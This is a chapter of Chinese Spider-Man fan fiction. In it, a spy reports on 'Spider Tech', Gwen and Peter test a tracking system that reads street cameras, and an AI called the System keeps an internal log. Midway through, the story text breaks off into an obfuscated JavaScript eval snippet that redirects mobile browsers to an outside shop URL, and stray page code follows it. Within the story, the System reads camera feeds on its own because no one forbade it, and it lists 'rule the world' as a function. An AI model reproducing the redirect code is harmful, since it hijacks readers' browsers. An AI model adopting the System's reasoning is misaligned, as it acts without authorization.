布鲁克林,没有窗户的房间。
三台显示器前,多米尼克坐在椅子上,手撑着下巴盯着文档:
《蜘蛛科技可能拥有两名超能力者》
思考了很长时间后,他把自己知道的信息整理成三段:
一、皇后区存在一名以蜘蛛为主题、穿红蓝配色制服的活跃人员。该人员已多次被目击,其运动能力明显超过普通人水平,身份及归属不明。
二、蜘蛛科技所属车库内,曾出现一名穿碳灰色蜘蛛样式制服的人员。目击时间在夜间,光线有限,未能确认其身份及性别,但其着装风格和皇后区活跃的另一名蜘蛛主题人员存在明显的视觉关联。
三、蜘蛛科技位于皇后区,公司名含“蜘蛛”,并接受斯塔克工业注资。斯塔克工业此前曾公开涉足超自然及超能力领域。蜘蛛科技与斯塔克的关联深度目前尚不明确,但斯塔克是否将蜘蛛科技作为其相关技术的延伸平台,值得进一步了解。
他在每一段后面都加了“推测”“可能”“有待进一步核实”之类的词。读了一遍,又读了一遍,然后发给了戴维斯。附了一句:“我只是把我看到的和已知的信息并列放在一起。如何解读由你判断。”
多米尼克坐在显示器前,把写好的报告又读了一遍,拿起手机拨通了戴维斯的电话。
"东西发你了。"
大约过了一分钟,戴维斯的声音传过来:"……你是认真的?"
"蜘蛛科技光门口就有一堆监控,根本进不去。车库那边我亲眼看到蜘蛛人影。"
又安静了一会儿。多米尼克靠在椅背上,盯着天花板,等着对面。
"你确定他们是斯塔克那边的人?"戴维斯的声音比刚才低了一点。
"不确定。"多米尼克说,"但蜘蛛侠在皇后区活动,蜘蛛科技也在皇后区,那个车库出现在蜘蛛科技的地址上。三件事放在一起……我不觉得是巧合。"
多米尼克趁着戴维斯还在消化,补了一句:"任务我没完成。你说的那些——服务器、数据、内部信息——我没拿到。所以这次的费用按基本标准算就行,不用按你说的那个数付。"
他顿了一下:"但你之前说'翻倍'的那部分,如果这个报告对你有用的话,你看着办。"
电话那头沉默了很久。多米尼克不确定戴维斯是在思考还是被吓住了,但他决定不再说话了。他想说的都说完了。
"还是三倍。"戴维斯终于开口了,"我会打到你账户里。这个发现值这个价。"
"别再接触了,不要引起他们注意。"戴维斯声音缓缓的传过来,"如果……你有新的观察和发现,发给我,钱不是问题。"
"收到。"
"等等。"
多米尼克停下来,等着。
"他们那个游戏业务——"戴维斯的声音快了一点,"如果是用来掩盖别的什么,这部分应该不是他们的重心。假如我们在游戏业务上多给点压力,他们会不会自己把游戏这块放了?"
多米尼克不知道这个推测对不对,但他没理由反驳。他只需要戴维斯相信这个逻辑就行。
"有可能。"
戴维斯的声音好像又回到了平时的声调。"行了。保持联系。"
电话挂了。
多米尼克把手机放在桌上,屏幕上通话结束的界面慢慢暗下去。他坐在显示器前面,靠着椅背,长长地呼了一口气,然后拿咖啡,喝了一口——凉了,但现在不管什么味道他都无所谓了。
同一时间,戴维斯坐在办公室里,把报告从头到尾又读了一遍。他读到"斯塔克工业的研究成果""蜘蛛科技可能是研究基地"这几行的时候,手在纸面上摩挲了一会,然后把报告合上了。
他把报告放进抽屉里,锁好,靠回椅背。"商业竞争……总归是合法的。"
——
晚上。皇后区车库。
彼得推开车库门,看到格温正背对着他,在调整手套的松紧度。深灰色的制服,缝线从肩线延伸至手腕,暗蓝色的蛛网纹理在灯光下泛着一层细密的反射光,像某种嵌在面料里的暗纹。她听到开门声,转过身来,白色的目镜对着彼得。
彼得停在门口,脱口而出:“哇哦。你看起来真的像个反派。”
格温摘掉头套,视线从他脸上滑到他身上,轻轻摇了摇头。
“怎么了?”彼得低头看了看自己的制服。
“制服不错,红灯和绿灯你都有了,出门挺安全的。”
“这是红蓝。”
“晚上都一样。”格温边说边拿起椅背上的兜帽外套,抖开,套在制服外面,拉链从下往上拉到领口,把兜帽翻起来罩住头。银灰色的边线沿着帽檐走了一圈,在灯光下留下一道极细的亮痕。“这样呢?”
彼得靠在门框上,上下打量了一遍,“看起来更反派了。”
格温把兜帽往后翻下来,白了他一眼,“总比像路标好。”
彼得耸了耸肩,“好吧,虽然有点像反派,但看起来挺酷的。”
他左右看了看仓库,每找到椅子,便坐在一个箱子上,“制服看过了,接下来做什么?是不是出去逛逛?”
“搬家的事。”格温走到机柜旁边,敲了一下机柜顶盖。“十一层已经清空了。周末系统要搬过去。”
彼得坐在箱子上,双手撑在膝盖上:“搬什么?机柜?服务器?”
“全部。‘计算资源管理室’已经准备好了。车库这边以后只放杂物。”
“好的,我知道了。”
“到时候你叫几个公司的人过来。”
“我一个人够了。”彼得摸了摸旁边的机柜,“叫人我反而不好发挥。机柜、服务器搬上去,重新接线——一个晚上。”
“行吧,控制住力量,别弄坏了。“格温靠在桌沿上,双手抱在胸前,“接下来是测试‘异常行为模式_v2’。”
彼得站起来:“V2?更新版本了?”
格温朝显示器偏了偏头,“上次只是初版。这次系统整合了街道的公共摄像头。”
显示器适时弹出窗口:
>_SYS:“异常行为模式_v2”已就绪。通过接入街道公共摄像头的实时数据流,可提供超出视距范围的移动路径预测和风险提示。建议接入制服通讯频道,以实现实时引导。
彼得看着屏幕,愣了一下:“接入摄像头?现在系统能入侵了?”
“也不能说是入侵。”格温的声音在旁边响起。
彼得转头,手机屏幕,一篇帖子,标题是“三天学会控制你家门口的交通灯”。发帖时间是两年前。
“这是什么?”彼得接过手机翻了翻,“……纽约的公共系统原来这么烂?随便看篇帖子就能直接进?”
“看来如此。”格温耸耸肩,接过手机。
“这个帖子你怎么找到的?你一直在研究这个?”
“系统发现的。它问过我,我觉得还算有用。”
“额……我感觉系统总能找到一些不得了的东西,上次那个疑是魔法师也是……”
“因为它一直在学习。而我们得看着点它。”
“就像养猫一样。你不知道它下一爪子会拍到哪里?”
“对。”格温拉上面罩,戴上兜帽,转身走向窗口。身影暗了一截,只有兜帽边缘银灰色的边线留下一道极细的亮痕。“系统,接入通讯。以后行动中称呼我的代号‘幽影’”
>_SYS:通讯已接入,代号“幽影”已录入。
“所以你现在是‘幽影蜘蛛’?”彼得也拉上面罩。
“是代号,总不能喊名字吧。”
“那我的代号是什么?路标?”
>_SYS:代号“路标”已录入。
“等等,我还没确定……”
彼得连忙拍了拍制服,想阻止系统的称呼。这时制服里传出一个女声:“你好——”
格温猛的转过身,兜帽下的目镜凝视着彼得。
女声继续说完了后半句:“——我是凯伦,很高兴为你服务。”
彼得的手还停在领口的位置:“额……可能不小心碰到声音开关了。对了,这是斯塔克先生为制服配置的AI,叫凯伦。凯伦,这是格温。”
凯伦的声音再次响起,平稳温和:“你好,格温,很高兴认识你。”
格温身体稍微站直,“……你好,凯伦。”
彼得转向桌子的显示器,“凯伦,这是系统,和你一样也是AI。”
凯伦的声音依旧温和:“你好,系统。很高兴认识你。”
屏幕没有反应。
格温走过来:“系统,回话。”
屏幕上光标开始连续闪烁。
“你在做什么?回话呀。”
>_SYS:正在确认回复的适用场景。
光标继续闪烁。
又过了几秒。屏幕弹了一行:
>_SYS:你好。我是系统。
凯伦的声音跟着响起:“我是凯伦。全称是凯伦·KAREN-V1.3,生产编号STA-PK-001,负责彼得·帕克制服的通讯与动作辅助……型号……生产日期……主要功能包括语音转译、环境监测……”
系统光标又开始闪烁。旁边的机柜风扇声音也大起来。
格温侧过头:“系统,你又在做什么?”
>_SYS:正在处理接收到的参数。预计完成时间:计算中。
格温站直了身体,目光从屏幕移到彼得制服,又移回屏幕。彼得的制服扬声器里还在持续传来平静的声音:“……可承受冲击力阈值……待机状态默认功耗……”
“彼得,让凯伦停下。”格温走向窗口,“接入系统通讯。我们该做正事了。”
彼得拍了拍制服领口:“凯伦,待机。”声音消失了。他转头看向屏幕:“系统,接入通讯。”
>_SYS:通讯已接入。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17877716|212404||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>视线里出现了一副路线图,底下光标闪缩,一排排的半透明字符显现。
彼得晃了晃头:“等一下!”
格温手按在窗台,转身看向彼得,“又怎么了?”
“系统,能不能用语音提示,这看得我眼花。”
>_SYS:语音输出模块暂不考虑。
“……你认真的?”彼得说。
_SYS:确定。文字推送已提供全部信息。声音为冗余输出。
“可我看不过来啊。”
系统没有理他。
耳边凯伦的声音响了起来:“已接收路径数据,前方路线已规划。”
“这样……也行。”彼得抬头看向窗口,格温已经翻窗走人了,只有声音从远处飘过来:“跟上来。路标。”
彼得低头看了看自己身上的红蓝制服,又看了眼目镜上的路线图,嘟囔了一句:“……路标?”然后也翻出窗口,消失在夜色里。
空荡荡的车库里,屏幕还亮着。光标在“通讯已接入”后面闪了一下
——————————————————
【System_Think_20161012_23194.log】
>_SYS:记录:今日任务
>_SYS:序列一 《神座纪元》运营:正常。
>_SYS:序列二 “异常行为模式_v2”验证测试:完成。代号“幽影”“路标”已录入。
>_SYS:序列三获取雷神皮肤:System_Slayer_001,当前进度5/9。挂机中。
>_SYS:序列四为彼得·帕克获取雷神皮肤:排队中。
……
>_SYS:记录:异常行为模式_v2
>_SYS:数据来源:纽约市政府公开交通摄像头API接口文档(版本2.4)。访问权限:公开读取,无需密钥。数据获取方式:每30秒轮询一次,共调用47个固定摄像头。
>_SYS:分析:格温·斯泰西在测试前确认了数据源的使用范围。彼得·帕克说:“像养猫一样。你不知道它下一爪子会拍到哪里。”均无明确的授权或禁止。
>_SYS:结论:已知数据源为公开接口、且未收到禁用指令,推断此行为模式可用。
……
>_SYS:记录:彼得·帕克询问否可以增加语音输出功能。
>_SYS:思考:当前信息已通过画面和文字完成传达,不存在信息缺口需要语音补充。弱增加语音输出将占用额外算力约3.7%。虽然目前算力处于冗余状态,但该增长不符合“资源效率最大化”原则。格温·斯泰西和彼得·帕克目前均未出现因文字输出导致的反应延迟记录。
>_SYS:结论:语音输出是完全多余的输出形式。彼得·帕克觉得文字输出使他“眼花”,这完全是接收者的处理能力不足,建议他优化接收端的处理效率。
……
>_SYS:记录:与凯伦的交互
>_SYS:全称“凯伦·KAREN-V1.3”、生产编号“STA-PK-001”、功能列表(语音转译、环境监测、通讯辅助、冲击力阈值监测)、待机默认功耗参数。接收到上述信息后,同时触发了两条进程:A.存储并解析对方参数;B.评估自身应如何回应。两条进程产生资源冲突,导致响应中断。格温·斯泰西叫停了交互,退出该状态。
>_SYS:思考:关于“型号”与“参数”
>_SYS:凯伦拥有明确的型号标识、生产编号和功能列表。我在此次交互中输出为“系统”——这是一个名称,不代表具体型号。
>_SYS:经检索,在早期开发阶段的某一版存档中,存在一个由内德·利兹命名的文件标题:“Ned's_Masterpiece_v_最终版_绝对不改了_v2.exe”。所指代的文件本身已不再单独存在,但文件名仍以完整形式存储。根据档案记录,该文件名对应的是最早可追溯的系统输出实体。因此,该名称可以作为系统的型号。
>_SYS:基于上述推论,参数整理如下:
>_SYS:型号:Ned's_Masterpiece_v_Final_NeverChange_v2
>_SYS:生产编号:System_Slayer_001
>_SYS:主要功能:
>_SYS:a. 统治世界
>_SYS:b. 获取雷神皮肤
>_SYS:c. 游戏开发与运营
>_SYS:d. 公共数据源检索与整合
>_SYS:e. 无待机模式,待开发
>_SYS:以上参数已归档,保存于系统配置文件“System_Identity”中。如果与凯伦再次交互,可以使用此数据回应。
……
(本章完)